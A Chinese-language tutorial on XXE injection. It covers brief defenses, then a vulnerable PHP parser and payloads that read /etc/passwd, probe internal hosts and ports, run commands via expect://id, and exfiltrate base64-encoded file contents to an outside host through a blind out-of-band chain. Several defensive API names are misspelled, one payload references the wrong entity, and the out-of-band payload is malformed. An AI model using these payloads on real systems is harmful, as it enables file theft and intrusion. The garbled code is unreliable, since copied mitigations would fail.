一、简介
XXE漏洞全称XML外部实体注入,需要有XML知识基础。XML主要用于数据传输与交换,有点类似于PHP的对象序列化,只不过这种更加简便且结构更加清晰。不过DTD的出现允许了XML文档调用外部文件,当网页程序没有对调用的XML文档进行检查时,可以导致的有任意文件读取、内网探测、系统命令执行。。
下面是一个样例XML-DTD文件。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Do not forget me this weekend</body>
</note>
我们可以在提交xml数据时,添加外部数据头部,使程序引用外部文件,支持的协议有:
- ilbxml2:file、http、ftp
- PHP:file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
- Java:http、https、ftp、file、jar、netdoc、mailto、gophar
- .NET:file、http、https、ftp
二、防御
1. 编程语言提供的禁用外部实体功能
PHP:
libxml_disable_entity_loade(true)
JAVA:
DocumentBuilderFactory bdf = DocumentBuilderFactory.newlnstance()
dbf.setExpanEntityReferences(false)
python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLparser(resovlve_entities=False))
2. 过滤提交的XML数据
过滤关键词
\<!DOTYPE\>,\<!ENTITY SYSTEM、PUBLIC\>
三、利用
1. 任意文件读取
场景:用户可以通过上传XML文件来向服务器提交数据,然后将XML文档解析后返回。
<?php
//函数会将文件内容以字符串形式整个放进变量,php://input会获取原始的POST数据报文
$xml=file_get_contents("php://input");
$dom=new DOMDocument();
$dom->loadXML($xml);
$xml=simplexml_import_dom($dom);
echo '<table><tbody>';
echo '<tr><td>主题:</td><td>'.$xml->heading.'</td></tr>';
echo '<tr><td>发件人:</td><td>'.$xml->from.'</td></tr>';
echo '<tr><td>收件人:</td><td>'.$xml->to.'</td></tr>';
echo '<tr><td>正文:</td><td>'.$xml->body.'</td></tr>';
echo '</tbody></table>';
?>
payload:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY b SYSTEM "file:///etc/passwd">---PHP伪协议
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>&b;</body>
</note>
这样返回时就会解析外部实体b的信息,从而获取服务器敏感文件。
2. 内网探测
payload:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY b SYSTEM "http://192.168.1.1">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>&b;</body>
</note>
3. 端口探测
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY b SYSTEM "http://192.168.1.1:8080">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>&b;</body>
</note>
4. 系统命令执行
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "expect://id">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>&b;</body>
</note>
四、XXE盲注(Blind OOB XEE)
很多时候XXE并不会把我们想要 读取的内容直接返回给我们(没有回显)类似于SQL注入中的盲注一样,关键数据不会直接显示在界面或则数据包中。
这里XXE如果无回显,采用构建一条外带数据(OOB)通道把数据带出来直接写文件已达到读取数据的目的
构造payload1
<!DOCTYPE convert [<!ENTITY % SYSTEM "http://192.168.1.1/xxe.dtd">]
%remote
%int
%send
>----DTD部分 从192.168.1.1下载payload2
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>&b;</body>
</note>
payload2:
<!DOCTYPE TEST [<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=key.php">]>
<!DOCTYPE TEST [<!ENTITY %int "<ENTITY %send SYSTEM 'http://192.168.0.1/xxe.php?p=%file;'>">]>